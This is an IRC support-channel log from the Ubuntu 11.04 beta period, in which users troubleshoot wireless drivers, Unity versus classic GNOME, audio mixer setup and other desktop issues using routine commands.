bandit63look at the bigger linux picture and there is still room for docky06:11
Kyubeyoh, I love docky06:11
KyubeyI'll still use it for my debian VM06:11
ajinok, thanks06:12
bandit63i ahve to many dock like bars installed and i never use them06:12
bandit63have'06:12
ajini love docky too06:12
KyubeyI have to say, it'll take some time for me to get used to unity06:13
bandit63any one have any suggestions on why plymouth is not working for me?06:13
KyubeyI wish I could put the dock on the bottom though06:13
bandit63Kyubey, i used it for 5 min then went back to classic06:14
Kyubeydidnt like it?06:14
bandit63nope but i am wierd like that06:14
KyubeyI can see that when I DO get used to it, it'll up my productivity06:14
bandit63i dont like  windows 7 because there is no classic start menu06:15
Kyubeyah06:15
KyubeyWell, everyone has their own preferences ^^06:15
bandit63yes thats what i like about linux you can change what you dont like06:15
ajinwindows is a disaster, full of problems06:15
bandit63just wish i could get my issues with plymouth sorted out06:16
hardcoldI've got a realtek rtl8188ce and can't connect to password protected networks, but can open one (11.04 beta 2)06:16
Kyubeygod damn it google, I DO mean expo, and not expose06:16
bandit63lol Kyubey06:16
bandit63hardcold, have you installed the drivers from realtek?06:20
kazagistarI have been watching the loading dots on my virtual machine for 10 min... I gave it two 3.2GHz cores and 2G of memory... is it just a little slow on the livecd?06:22
KyubeyAwesome - This old laptop (about 2 years) has a "acer e-settings button" in the corner06:23
KyubeyI set it so when I press it, it zooms out to show all of the open windows at once06:23
bin_bashcan anyone tell me how to setup workspaces in classic mode?06:23
Kyubeygoodnight!06:24
kazagistarKyubey: yeah, gotta love binding random buttons for fun and profit06:24
kazagistar:(06:24
bandit63bin_bash, right click on the top bar choose add to panel06:25
bandit63scroll to end of list and click on workspace switcher06:25
bin_bashthanks dude06:25
bandit63when its add to your bar right click and choose prefrences06:26
bin_bashbandit63: can you tell me the proper syntax for syncing from an external to my home folder?06:26
bandit63external drive?06:26
bin_bashyeah06:26
hardcoldbandit63, no just used what came with Natty as it's listed as working fine06:26
bandit63i just always copy and paste not sure if thats the correct way or not but it works for me06:27
bin_bashhmm06:27
bandit63hardcold, whats it not doing for you?06:27
hardcoldbin_bash: so the cd/usb combo worked?06:27
hardcoldbandit63: it won't connect to a password protected network06:28
bandit63but it connects to regular no pass network?06:28
hardcoldbandit63: yes06:28
bin_bashhardcold: yeah06:28
bandit63dunno some people have posted about that wireless card there is a ppa they say i dont know about it thought all i have are intel wireless06:29
bandit63http://ubuntuforums.org/archive/index.php/t-1641931.html06:29
bandit63and http://ubuntuforums.org/showthread.php?t=1604101&page=406:30
bin_bashI know in 10.04 there was a way to show all windows open and set a lkeyboard shortcut06:31
bin_bashcan i do that in 11.04?06:31
bandit63hardcold, and this one has a walk through http://www.meabi.com/ubuntu-netbook-wireless-problem-solved-for-dell-mini/06:31
bandit63bin_bash,  alt+tab does not work or you mean a compiz one?06:32
bin_bashbandit63: alt-tab switches between windows06:32
bandit63on mine it shows a box with all the icons and lets me choose the one i want06:32
bin_bashnope06:33
bandit63again i would install compizconfig-settings-manager and run it from system>prefrences06:33
bin_bashok06:34
hardcoldbandit: the issue is odd because I can not find anyone else with this06:34
bandit63hardcold, all those sites i pasted where having similar issues06:34
bin_bashi want to apt-get alsamixer06:34
bin_bashbut it said there were no packages?06:34
hardcoldbandit: they were having issue with getting the wireless working at all, and prior to beta 1/206:35
hardcoldno one posted (aside from me) having and issue where I can connect to open but not closed network06:35
bandit63bin_bash,  you sure you dont mean alsamixergui06:35
bandit63hardcold, oh i see what you mean06:36
bin_bashthank you06:36
bandit63hardcold, i would still think that using the drivers from realtek or from the ppa would fix it06:36
bandit63dunno though i have been wrong many time before06:36
hardcoldit's already bundled in natty06:36
hardcoldyou think getting a different driver would help?06:37
hardcoldI'm tempted to just wait06:37
hardcoldso far the issues I've had have been fixed the next day with the updates06:37
bandit63hardcold, if you can get by why not wait let me look at a couple other things06:38
hardcoldI was hoping it was some setting in the OS I needed to change06:38
hardcoldI have my network open now (how I am connected) but really don't like doing that06:39
bandit63no i wouldnt like that either06:39
hardcoldI changed the SSID to "virus trove"06:39
hardcoldI need to try other networks06:40
hardcoldit's possible there is some specific issue it has with my network06:40
bin_bashbandit63: what's the command to list the mounted drives06:40
bandit63mount06:41
bandit63or df -f06:41
bandit63just df will as well06:41
hardcoldIt's cool learning the command line06:42
hardcoldshould make me a better OSX user as well as expanding my job skills06:42
bin_bashhmmmmm rsync does not want to work06:43
bandit63hardcold, what kernel are you running?06:43
hardcold2.6.38-8-generic06:44
hardcoldbandit63: 2.6.38-8-generic06:44
bandit63hmmm06:44
bin_bashlolnm i wasn't being casesensitive06:44
jamil_1_Hello ppl, I am having trouble with mouse. Left click some times acts as click-and-drag (shows a hand icon). any suggestions ?06:45
hardcoldbin_bash: given the laundry list of issues with that hardware and ubuntu at this point, it's going to be quite the hurdle to get everything working well06:46
bin_bashit's working like a charm except for the wireless :D06:47
bin_bash40gigs is transferrin' right now06:47
hardcoldbin_hash: yeah, wirless, wadda ya know..06:47
bin_bashi might have to build my own kernel06:47
bandit63hardcold, do you have linux-firmware installed?06:49
hardcoldI'm tempted to make a live SD and see if I can connect to protected networks06:49
hardcoldbandit63: I don't know what you mean--2nd day linus user06:49
hardcoldgoogling now06:49
bandit63oh ok if you open a package manager and serach for linux-firmware06:50
bandit63or from terminal sudo apt-get install linux-firmware06:50
hardcoldbandit63: says, "linux-firmware is already the newest version."06:52
bandit63ok was worth a shot06:53
hardcoldthanks06:53
bin_bashbandit63: how can i turn surround sound on in alsamixer via the terminal?06:53
hardcoldI think the best thing I can do is try a live SD  and go from there06:54
bandit63ok i would try the driver ppa some time or from the livecd and see what happens06:54
hardcoldtime for sleep, good night all. Glad the cd/usb combo worked bin_hash06:54
bandit63night night hardcold06:54
bin_bashnight hardcold06:54
bin_bashhave a good night06:55
bandit63bin_bash, i dont have a clue how to do that06:55
bin_bashhmmmm06:56
bin_bashthe alsagui is horrible06:56
bin_bashwith no features06:56
bandit63i can look it up though06:56
bandit63bin_bash,  to get the alsamixer installed06:57
bandit63install the package alsa-utils06:57
bin_bashAH!that's what i was looking for!06:57
bin_bashthank you06:57
bandit63no problem06:57
bandit63to test it then run     speaker-test -Dplug:surround51 -c6 -twav06:58
bin_bashthanks broski07:00
bin_bashall i need now is to get the wireless working07:00
bandit63this on the macbook?07:00
bin_bashyep07:00
bandit63according to the ubuntu site wireless wont work07:01
bandit63https://help.ubuntu.com/community/MacBookPro8-1/Natty07:01
bin_bashi know07:01
bin_bashi kno i kno07:01
bin_bashbut i'm hoping to try and play with it tomorrow07:01
bandit63you can alaways buy a usb wireless card07:01
bin_bashand worst case scenario build my own kernel07:01
bin_bashright now i'm using my phone07:01
bandit63no ethernet?07:02
bin_bashnope07:02
bandit63if the ubuntu site says wireless wont work then compiling a kernel wont fix it07:03
bin_bashthe wireless driver is built into a kernel07:03
bin_bashbrb07:03
bandit63not for that macbook07:03
bin_bashrestarting this gnome sesh07:03
bin_bashbrb07:03
bandit63should i logout before he returns?07:04
bhaveshwhich is the best "Graphical Interface Design" app to make ubuntu softwares like Visual studio in windows ?07:09
JerubPublic Service Announcement: To move icons in unity, click with the LEFT mouse button and drag AWAY from the bar, then you can move it up or down in the bar. Dragging it 'up' or 'down' first will not work.07:10
JerubAnnouncement Ends.07:11
bin_bashSkype for natty? yes or no07:14
torchieskype works on my natty07:14
torchiethough video calls I don't know07:14
bin_bashwhat version did you DL?07:14
torchieI use it for group IM07:14
torchieI have the new beta07:14
bin_bash2.2?07:15
torchieyeah07:15
bin_bashhm ok07:15
bin_bashwhich version?07:16
torchie2.2.0.2507:16
bandit63bin_bash,  you there?07:30
bin_bashyep07:30
bandit63if so hope everything goes well07:30
bandit63i am off to bed07:30
bin_bashyeah thanks07:30
bin_bashnight dude thanks for the helo uy07:30
bin_bashhelp today*07:30
bandit63no problem07:30
bandit63:)07:30
bin_bash:) sleep well07:30
BajKnice, so with raster qt rendering backend, KDE is like 3 times faster and LibreOffice fortunately works with it (openoffice did not)07:48
bin_bashlolde07:51
bin_bashwhy kde?07:51
Jerubwhy not? it's an excellent desktop environment.07:52
Jerubi don't use it personally because i found some problems with changing monitor geometries, which is a class of problems that every desktop environment has to some degree, but meant that it was impractical to use kde.07:52
bin_bashmeh it's clunky. did you install it on top on gnome and on top of unity?07:53
Jerubi don't understand that question. it doesn't seem to make logical sense.07:53
Jerubits start menu, for instance, is worlds better than unity's launcher. it's what unity might achieve when it grows up.07:53
* KevinDivide just installed Natty beta 2 on his own machine and a friend's!07:54
bin_bashyeah unity is horrible07:54
Jerubas for what i 'installed it on top of' i don't understand. i can quite adequately log into it from the login screen as well as unity and gnome2, it's not on top of them, it's side-by-side.07:54
jamil_1Hello, It seems that applications do not get focus. I have to keep pressing alt key to perform in-application tasks like swtiching tabs in firefox. suggestions to get proper focus ?08:10
bin_bashunity or gnome08:11
jamil_1unity I think08:12
bin_bashsudo apt-get install compizconfig-settings-manager08:13
unityproblemi am nt able to update to beta 2 frm update manager ..anyone can help?.08:16
bin_bashno sorry08:17
unityproblem?08:17
rwhittlecrimsuntide08:17
unityproblemanybody here to help?08:17
jamil_1just installed the compizconfig-settings-manager...what to do with it ?08:18
bin_bashjamil_1:  load it in system preferences and play with it08:19
BajKnatty has wayland in its repos but when installing it says libmesa broken dependency or something08:20
BajKit needs libmesa-devel >= 1.12 (or so) but 1.12 is installed as well08:20
BajKor libcairo or something08:20
unityproblemi am nt able to update to beta 2 frm update manager ..anyone can help?08:22
BajKdont think youre supposed to upgrade to a beta?08:22
BajKdont know though08:22
unityproblemi am using beta 1..08:23
BajKand within, also not :P08:23
BajKuse apt-get dist-upgrade08:23
unityproblembut not that beta 2 is avaliable its nt showing on update manager'08:23
th^^unityproblem: it doesn't show up there, if you've just installed updates from update manager, you are using "beta2"08:24
unityproblemok.. its says in the terminal that  0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.08:25
th^^unityproblem: and keep updating, you'll end up to final release. betas don't have their own repositorys, 'natty' repo will end up being final later this month08:25
unityproblemaand i cant see the unity desktop when i boot..08:25
rwhittlen #fedora08:25
th^^unityproblem: select 'Ubuntu' as session from login screen08:26
unityproblemi just see a blank screen08:26
unityproblemyes i did that ..08:26
th^^if it doesn't work, then you most likely don't have working 3D acceleration :)08:26
BajKand they always dont understand why I think the dicision of requiring 3d acceleration is the worst ever made08:27
BajK(beside the one that ubuntu runs on Gnome instead of KDE :P)08:27
BajKis this bug fixed that natty kernel panics on many startups? the bug with the payload thing08:27
unityproblemhow do i check that the 3d accelaration is working?08:28
unityproblemi see no unity desktop..08:29
unityproblemwhen i boot up i see just my wallpaper08:29
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topylium, is google calendar -> akonadi -> korganizer supposed to work?08:46
tasslehoffanyone here running on a macbook pro? I'm considering upgrading to 11.04 beta, but thought I'd check if something definitely will break :)08:47
afghanwhen you press logo+tap and jump to another windows08:54
afghanthe windows thumbnails are not hovered08:54
afghanis it a bug ?08:54
afghanand where can i report it ?08:54
afghanI mean the thumbnail is not outlined ! :D08:55
buff27hi guys, just wondering if I have found a minor bug in Xubuntu 11.04 beta 2, If I open a text document in mousepad and right click copy something then close the document, it takes a few seconds to close instead of just closing. Could anyone confirm this bug or tell me where to report if necessary?08:56
jamil_1hello, I am still unable to solve the focus problem in unity....09:02
marHello. I'm having problems with multi-monitor setup with newest beta. External screen flickers on lenovo T410 and etc... Is it something I need to do after upgrade before I report a bug?09:13
marI did upgrade from 10.1009:13
kwtmmi must to toilette, do an good excretion or metabolite09:19
kwtmm!spam09:20
topylitmi09:20
gnomefreakmar: is the problem in classic desktop as well as unity?09:22
gnomefreakand yes i agree with topyli way too much info09:22
marlooks like I found the issue https://bugs.launchpad.net/ubuntu/+source/xserver-xorg-video-intel/+bug/75025909:23
ubottuUbuntu bug 750259 in xserver-xorg-video-intel (Ubuntu) "[arrandale] Dual screen not working/shows corruption" [High,Confirmed]09:23
[diablo]morning #ubuntu+1 .... I have installed beta2, however I really would like to have a normal gnome2 style desktop. Can this be done please? I am finding Unity not to my taste sadly09:28
gnomefreakWhen installing the i386 version on systems with more than 4 GB of memory the PAE kernel variant gets installed, which removes the NVidia and other installed proprietary drivers. (759804)    :(09:29
gnomefreak[diablo]: in the login screen type user name than look at bottom it will have a choice selected that says ubuntu desktop edition(or just ubuntu) croll tyhe list and look for classic desktop edition, that is what you want09:30
gnomefreaks/croll/scroll09:31
gnomefreakthat will bring you back to the 2 panel gnome with compiz but that can also be disabled if you choose so09:31
[diablo]ah ok thank you09:31
gnomefreaknp09:32
[diablo]gnomefreak, was sort of shocked a little by Unity...09:32
gnomefreak[diablo]: it happens. i was using gnome-shell for a while before natty was even thought of09:33
gnomefreakit is very similar to gnome+unity09:33
maris there any workaround for hamster + unity?09:34
[diablo]well, I find things like Chrome having 6 x buttons etc annoying09:34
kwtmmi must to toilette, do an good excretion or metabolite09:34
* gnomefreak never heard of hamster and either has Ubuntu archives unless it has a different name09:36
gnomefreakok need a smoke again, i hate first thing in morning, maybe ill go lay down after smoke. later guys09:37
[diablo]:)09:37
[diablo]later gnomefreak09:37
kwtmmhello09:43
kwtmmdo you think i can chose in 11.10 gnome instead unity too09:44
mhazis it shit or just me?10:06
mhazi take it as a yes10:14
NickUKI've recently upgrade to 11.04 from 10.04 with no wireless issues in 10.04 or 10.10 while upgrading, however in 11.04 my Wireless isn't working. I've managed to get most of it working but when I goto install firmware-b43-lpphy-installer it gives mee an error code.10:34
nijaboNickUK what problem is there?10:38
nijaboAh, I had a problem with 11.04, I could not find my Wireless network, no matter what I tried. Installed 10.10 again and found it without a hitch.10:39
NickUKIt gives me10:39
NickUKAborting10:39
NickUKdpkg : error processing firmware-b43-lpphy-installer (--configure):10:39
NickUKsubprocess installed post-installation script returned error exit status 110:39
NickUKErrors were encountered while processing firmware-b43-lpphy-installer10:39
NickUKE: Sub-process /usr/bin/dpkg returned an error code (1)10:40
BajKwas apt changed in natty? normally it downloaded everything, unpacked everything and set everything up. Now in Natty I think it downloads, unpacks and sets up every package individually10:47
eagles0513875for some reason gcc g++ and make werent installed by default O_o just had to reinstall them manually10:48
yuskhanzabhelo11:02
yuskhanzabanyone here11:02
yuskhanzabanyone here?11:03
yuskhanzabwanna ask about the natty beta 2 release11:03
yuskhanzabhave anyone try here?11:04
karmelekhi, is there any fix for broken shutdown?11:05
yuskhanzabhi karmelek11:05
yuskhanzabcan i ask u about the naty beta 2 release11:05
karmeleki cant reboot my lenovo laptop, even shutdown is broken11:05
karmelekyuskhanzab: ?11:07
yuskhanzabhave u try the beta2 release?11:07
yuskhanzabhow is it running?11:07
coz_yuskhanzab,  I am on that right now11:08
yuskhanzabi wanna have a try too, but im confius..11:08
coz_yuskhanzab,  for me it freezes when making nearly any settings change.. randomly,, several applications dont work  ie   easystroke and cairo dock because no settings can be changed11:08
yuskhanzabshould i wait the normal release?11:08
coz_yuskhanzab,  well... if you want to report bugs  then use it now11:09
coz_yuskhanzab,  if you want it to work properly .. wait11:09
karmelekyuskhanzab: i have problems with shutdown, classic gnome sometimses tend to be a bit unstable11:09
yuskhanzabowh, if there still have bug, then i should wait for the normal releas11:09
yuskhanzab:)11:10
coz_yuskhanzab,   yeah there are definitly bugs  :)11:10
hutchI'm not having any problems so far. Touch wood11:10
karmelekfor me it is much faster then 10.1011:10
yuskhanzabactually im new to ubuntu, but i love to learn about it.11:10
karmelekyuskhanzab: beta is a good place for learning :D11:11
hutchyuskhanzab, in a 6 month release cycle like ubuntu you will always have bugs with a beta version and early stable versions11:11
karmelekwhen will be RC released?11:11
coz_karmelek,  I dont think there is going to be one but let me check the schedule11:12
yuskhanzabeven in normal release i have many prob before..11:12
HemebondI'm using 11.04b2 and after closing Firefox Nightly with Flash, which was using almost 2GiB of RAM, not all the memory was released. 1.2GiB was still being used but the runnning processes don't add up to that.11:12
hutchDon't let it frighten you come here regularly and get help and learn as karmelek says11:12
HemebondHow can I see what is actually using all that memory?11:12
coz_karmelek,    https://wiki.ubuntu.com/NattyReleaseSchedule11:12
karmelekcoz_: i have checked but i see only Release image build11:13
coz_karmelek,  right no RC  release,,  just the release image build11:13
coz_karmelek,  so now its  "RIB"  lol11:13
hutchyuskhanzab, on the top bar is a great help section for 11.0411:14
karmelekno t good :P11:14
hutchIt helped me find all those windows I minimised and couldn't find lol (alt + tab)11:16
ryeHemebond, how did you detect memory usage?11:18
HemebondI'm looking at System Monitor.11:18
HemebondI've been watching it since I had to reboot after excessive swapping made the computer unusable.11:18
ryeHemebond, can you sort the processes by memory usage and see which is the biggest item?11:20
HemebondThe biggest is currently firefox-bin (a new process since closing the first).11:21
HemebondUsing about 260MiB.11:21
HemebondIt's almost like that X11 (pixmap) memory leak wasn't actually fixed.11:27
karmelekdoes anybody know, where gnome stores display config on home?11:27
ryeHemebond, are you talking about gl/cairo/wayland-related issue or there is something else (I haven't followed this recently) ?11:32
HemebondThere was a problem (supposedly fixed in 10.04) where closing an application didn't release the video memory associated with it. Eventually all memory is used up and the system needs to be rebooted.11:33
HemebondI might try running Blackbox to make sure it isn't Gnome.11:47
HemebondDoh.11:50
HemebondThere's nothing in the Blackbox menu.11:50
HemebondI didn't realise they had gotten so minimal.11:51
ryekarmelek, try .config/monitors.xml11:56
Ubuntuloverhi12:10
Ubuntulovermay can i help you12:10
Ubuntulovercan i help you12:10
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rooks-livehow to report usability bugs?12:14
UbuntuFanaticHello.12:22
UbuntuFanaticI need some help,12:22
UbuntuFanaticubuntuone-syncd is using a lot of CPU/Memory12:22
UbuntuFanaticand I do not use the application.12:22
UbuntuFanaticI'm on natty at the moment, but it happened when running Maverick too.12:23
SandStarIf I install 11.04-beta2, can I update to the final version relatively easy?12:24
UbuntuFanaticYes.12:24
SandStarthanks :)12:25
UbuntuFanaticNp. :)12:25
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rooks-liveok. I dont have time to go through all hoops in the bug reporting process so ill just dump them here, hope someone will take care of them: serious bug: xchat-gnome does not appear as running under launcher12:30
UbuntuFanaticwhat do you mean?12:30
rooks-liveafter putting it into launcher and launching it, that arrow on left of icon is not appearing, so when clicked again it starts another instance of xchat-gnomt12:30
rooks-livee12:30
UbuntuFanaticUnity, yes?12:31
rooks-liveyes12:31
UbuntuFanaticah, sorry. I'm not using Unity.12:31
UbuntuFanaticWe don't all use Unity on natty. :P12:31
rooks-liveduh...12:31
rooks-livecan you guys then make a selection during install to either use new gui or normal one where everything works? :P12:32
UbuntuFanaticAs in GNOME? :P12:32
rooks-liveexactly12:32
UbuntuFanaticYou can switch to gnome, you know?12:32
UbuntuFanatic(I don't know if you are aware, not being patronising.)12:32
rooks-livei know, but im a power user, and you guys seem to be about more mainstream users12:33
rooks-liveUSABILITY BUG unity: no easy placment of launcher on side of the screen that i want it to be12:34
UbuntuFanaticrooks-live, as am I.12:35
UbuntuFanaticI don't see what the bug is..?12:35
UbuntuFanaticI think I may just be being thick,12:35
UbuntuFanaticexplain. D:12:35
rooks-livei cant move it to the right edge of the screen, or to the bottom12:36
coz_rooks-live,   no I dont think the launcher is moveable12:36
coz_it can be hidden12:37
rooks-liveUSABILITY BUG unity: right click on launcher does noting in particular to be able to configure its size12:37
popeyrooks-live: if you have bugs you're better off filing them in launchpad12:37
rooks-liveUSABILITY BUG unity: right click on icon can have potential to pop up old menu of Applications Places System12:38
UbuntuFanaticThis just sounds like moans about the thing..12:38
UbuntuFanaticNot actually "bugs"12:38
popeywell, they are observations12:38
UbuntuFanatic*about unity12:38
UbuntuFanaticThey aren't bugs, rooks-live.12:38
rooks-livewell.. unity does not do what i like it to do, so yes, you can call it features :P12:38
popeyyou can configure the launcher size in compizconfig-settings-manager12:38
UbuntuFanatic:P12:38
PiciWishlist12:38
hilmihi all. I installed natty beta2. before that I used 10.10 with 2.6.32 kernel since the default kernel didn't support my hardware. now I tried to do the same, installed old kernel, but the boot menu is different now. But it doesn't boot now. What can I do? I don't want to use linux without acpi support?12:39
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rooks-livein short unity is not as elastic as normal gnome desktop. I cant place my favorite dockapps to monitor load, or other stuff.. it just sucks. sure i see itss potential for touchscreens based hardware, but for regular desktop it just too little too soon :P12:41
coz_rooks-live,  well remember that Unity is designed for netbooks only,, small screens,, which is why classic gnome is offered in sessions12:41
popeyuh12:42
popeyno it isnt12:42
UbuntuFanaticIt's your *opinion*.12:42
UbuntuFanaticand Unity was originally for netbooks.12:42
popeyunity is not designed "for netbooks only"12:42
rooks-liveyeah. thsts the point that you guys forced it on desktops...12:42
UbuntuFanaticIt's not forced..12:42
coz_rooks-live,  it defaults to Unity if the video drivers are installed ,, yes,, but you do have the option for classic gnome,, I am not totally disagreeing with you by the way12:43
rooks-livecan you select which one you want to install during installation/upgrade stage?12:43
popeythe good news is that if you don't like it, you can simply logon to a classic gnome session instead12:43
coz_rooks-live,  simply log off  and choose  classic in sessions12:43
popeyrooks-live: during upgrade you get both12:43
UbuntuFanaticrooks-live, submit the idea in Launchpad for the installer (name which I forgot)12:43
coz_rooks-live,  it will always boot to classic until you change it12:43
UbuntuFanatic:312:43
rooks-liveUbuntuFanatic, no, you submit, i forgot my passwd for launchpad and im now on live, and cbf to make another acct...12:44
popeythere is a password reset feature on launchpad12:44
rooks-livei dont have mail on my live acct12:44
UbuntuFanaticrooks-live, then you can't complain..12:44
rooks-livei can.12:44
popeyrooks-live: excuses..12:44
UbuntuFanaticWe've got the interface there.12:44
coz_rooks-live,  well as I said ,, the whole idea behind unity is netbook,, people are using it on desktops  but global menu  makes that a waisteful install12:44
UbuntuFanaticYou are just neglecting to use it.12:45
UbuntuFanaticWe couldn't make it easier, really.12:45
coz_rooks-live,   global menu.. like apple's menuing system was origianlly designed for small screens12:45
UbuntuFanaticand if you "cb*", then stop complaining? :P12:45
coz_not sure if global menu had th at in mind when developing it but apple's menuing system was12:45
rooks-liveUbuntuFanatic, you could by equipping all BETAs with some auto ran bug repport app that is bug repport tool :)12:46
UbuntuFanatic...12:46
UbuntuFanatic...that uses launchpad.12:46
coz_global menu on screens larger than 15"  slows work considerably,, so if you are on a larger screen,, use classic12:46
UbuntuFanaticApport much?12:46
rooks-livebrb, gotta see how classic will work12:46
UbuntuFanaticcoz_, I agree.12:46
rooks-livehow to login into classic on live?12:47
UbuntuFanaticLive?12:47
coz_rooks-live,  ooo not sure about that12:47
rooks-livelivecd/pendrive12:47
UbuntuFanaticOh.12:47
UbuntuFanaticterminal much?12:47
UbuntuFanaticgnome-shell12:47
UbuntuFanaticI think.12:47
coz_rooks-live,  try logging off12:47
rooks-livek, will check12:47
rooks-livetheres no logging off12:48
abrotmannis 11.04 very stable ???12:48
UbuntuFanaticNot really.12:48
UbuntuFanaticKind of.12:48
coz_abrotmann,  no not at this moment12:48
abrotmanncan i use 11.0412:48
PiciWorks for me.12:48
UbuntuFanaticIf you want.12:48
abrotmannor better older12:48
abrotmann 12:48
popeydefine "stable"12:48
abrotmannis need stable productive12:48
UbuntuFanatic#ubuntu12:48
rooks-liveabrotmann, id stick with 10.1012:48
UbuntuFanaticGet 10.1012:48
abrotmannok12:48
coz_abrotmann,  no not for production machines  not even close12:48
abrotmannwhen should i upgrade to 11.04?? short before the ending of the ubuntu 10 10 support ??12:48
coz_abrotmann,  at the beginning of May12:49
abrotmannok12:49
abrotmannor wait one month?12:49
abrotmannso the most bugs fix12:49
abrotmanned12:49
abrotmann:D12:49
coz_abrotmann,  well first of may  would be fine12:49
UbuntuFanaticabrotmann, April 28th = release12:49
UbuntuFanaticWe're all working fast on these bugs. :P12:50
rooks-liveabrotmann, first and formost download livecd and make pendrive version of it (easy click through boot disk maker - installer from system menu)12:50
rooks-liveabrotmann, and see if you really want it12:50
abrotmanni know12:50
abrotmannbut i meant12:50
abrotmannafter release, there many bugs12:50
abrotmannthey will fixed 1 month after releasing12:50
popeywhy not wait and see?12:51
rooks-liveusually thats how it is12:51
coz_abrotmann,  there will be fewer than  there are now for sure ...hopefully,, I think,,, maybe :)12:51
abrotmannyes but maybe its better to wait one or two months afterrelease ?12:51
abrotmanndont have hurry !12:51
coz_abrotmann,  well after release but fixes seem to come fairly rapidly with updates12:51
abrotmannbut the thing is do i need a new hard drive disk, its a green hard drive12:52
UbuntuFanaticabrotmann,12:52
UbuntuFanaticWe'll have most of the big bugs done by April 28th.12:52
UbuntuFanaticI mean, this IS the bug squashing phase. :P12:52
abrotmannyes ok12:53
coz_abrotmann,   well... in all honesty,, only we masochists are testing natty at this point... otherwise just hold off until may or june if you like :)12:53
abrotmannbut the history12:54
abrotmannsaid another thing12:54
abrotmanneverytime there were many failures after release they were fixed then12:54
coz_abrotmann,  go with your gut feeling about this12:55
abrotmannok12:55
abrotmannbut need i new hard drive ?12:55
abrotmanni have gott a green hard drive disk12:55
abrotmannk12:55
abrotmannxD12:55
coz_abrotmann,  I dont know "green hard drive"12:55
abrotmann5400 rounds per minute12:55
coz_5400 rpms?12:55
abrotmannyes12:55
coz_abrotmann,  thats a bit slow  but it should work fine12:56
abrotmannokay thanks, yes as far as i testing it works good12:56
abrotmannit has got 64 mb cache and maybe it turns 7200 if needed12:56
abrotmanni heard, but, well, no matter12:57
coz_abrotmann,   it will just take longer to put applicatoins into memory that's all,, after that  it is going to be as fast as your memory on that system12:57
abrotmannok12:57
abrotmannthanks12:57
abrotmanni have one 7200 rpms here too, but this is old (1 year) and very very used, maybe its already distroyed, but i can change if you want to12:58
gordonjcpI wish you could program the speed of drives12:59
gordonjcpspin at 7200rpm when you want it fast, spin at 3600rpm when you want it quiet12:59
genecgordonjcp: there's a lot of issues with that12:59
gordonjcpyeah12:59
abrotmanni want fast12:59
genecthe key is the air cushoin12:59
gordonjcpthe heads would need to be more sensitive for the lower speed12:59
coz_gordonjcp,  and a lot of wear and tear as well12:59
genec*cushion12:59
abrotmanni want fast, not quiet13:00
coz_abrotmann,   solid state drive :)13:00
abrotmannno not such fast13:00
abrotmannbecause i only have 3,5 inch13:00
genecgordonjcp: why more sensitive for low speeds?  seems reverse13:00
gordonjcpcoz_: no more so than running at a steady speed13:00
coz_abrotmann,  just the right size for solid state :)13:00
abrotmannwhere can i find 3,5 inch ssds13:00
abrotmannonly find 2,513:00
gordonjcpgenec: what happens if you turn a generator at half the speed?13:01
coz_gordonjcp,  well,, the variations are also going to cause thermal breakdown...13:01
genecgordonjcp: a lot of wear and tear on the spindle motor shifting13:01
coz_gordonjcp,  with steady speed ,, thermals only change with the amount of useage13:01
gordonjcpno, no change in wear at all13:01
coz_ok13:01
gordonjcpwhat happens *electrically*13:01
abrotmanni want fast, not quiet13:01
coz_abrotmann,  go scsi13:02
gordonjcpheh13:02
coz_abrotmann,  although way way more expensive13:02
gordonjcpI want slow, quiet SCSI13:02
genecgordonjcp: I see the point, confusing DSP and head13:02
gordonjcpideally I want something like an old couple of hundred MB powerbook drive13:02
coz_gordonjcp,   slow quiet scsi  is a fantasy lol13:03
rooks-liveon related note, GET THUNDERBIRD IN since evolution sucks. thunderbird HAS callendar which is one very popular plugin for it that can be installed by default..13:03
rooks-live:)13:04
genecI think there may be some WDs that might shift but don't know13:04
genecand I know some seagates do 590013:04
abrotmanni want fast, not quiet13:04
genecabrotmann: SATA, right?13:05
abrotmannyes13:05
abrotmannSATA 213:05
geneca 2.5" SATA is compatible with what you have (minus some of the mounting)13:05
coz_mm does hdparm capable of setting drive speeds I wonder?13:05
geneccoz_: doubtful.  it's buried inside13:06
coz_let me check man page just incase13:06
geneccoz_: you can probably set a "mode" for speed or quiet but that is all; not spindle speed13:06
abrotmannso please13:06
abrotmannwhat use13:06
skpldoes anyone kow if unity will work with the i810 video chipset?13:07
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coz_skpl,   I dont  sorry  I know little about intel video  in general13:07
nitroxidusHi. How to start indexing in Ubuntu 11.0413:07
genecskpl: have you tried it yet?13:07
abrotmannso please13:07
abrotmannwhat use13:07
nitroxiduswhen u press super+f13:07
genecskpl: the live CD, that is13:07
nitroxidushow to set manual indexing of files13:07
skplgenec: no, im waiting for it to be released13:08
nitroxidusand folders13:08
coz_genec,  apparenlty you are correct ,, it is possible to speed down the head  to reduce noise output with hdparm13:08
coz_looks to be about it13:08
genecskpl: try Beta2 and see13:08
geneccoz_: that head speed is probably the quiet/speed option I'm thinking of13:09
nitroxidusanyone13:09
nitroxidus:(13:09
coz_genec,  yes  I believe you're right :)13:09
skplgenec: okie doke13:10
skplie13:10
coz_nitroxidus,  mm not sure hold on13:11
nitroxidusok. :)13:11
coz_nitroxidus,  I dont know if tracker is installed by default any longer  let me check13:13
nitroxidusI think it isnt13:13
coz_nitroxidus,  you are right13:13
coz_that would be one option13:13
nitroxidusthey use some other stuff  for unity for search forgot the name13:14
rooks-livei think ill upgrade to 11.04, since it has normal GUI, but it has it quite hidden...13:14
coz_nitroxidus,  oh yeah ,, I am not sure  actually   ,,,  perhaps someone else knows13:14
nitroxidus:(13:14
nitroxidusthanks  coz13:14
nitroxidusI read somewhere that it only indexes the files which you have previously  opened13:15
coz_nitroxidus,  sorry guy,,, I am not at all  an expert13:15
nitroxidusnothing else it indexes13:15
coz_oh!13:15
nitroxiduswhich is pretty stupid13:15
genecyes and no13:16
nitroxidus?13:16
genecit takes less resources but yes it doesn't find old files13:16
nitroxidusi have allot of docs13:16
genecit should ideally be configurable13:16
nitroxidusis there any other option13:17
genecunsure13:17
nitroxidusits very convenient  just to press super+f and search away13:18
nitroxidusbut it isnt indexing everything13:18
nitroxiduswill this be fixed in rc13:18
gordonjcpcoz_: you used to get relatively slow and quiet SCSI drives, like the aforementioned powerbook drives13:20
gordonjcpcoz_: it's to fit into a sampler, and there's *just* not quite the room for a 3.5" drive13:21
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coz_gordonjcp,  ah ok,,13:21
gordonjcpcoz_: I'm running it with a 2GB flash drive and a SCSI-to-IDE bridge but it's a bit flaky at times13:22
coz_gordonjcp,  understood :)13:22
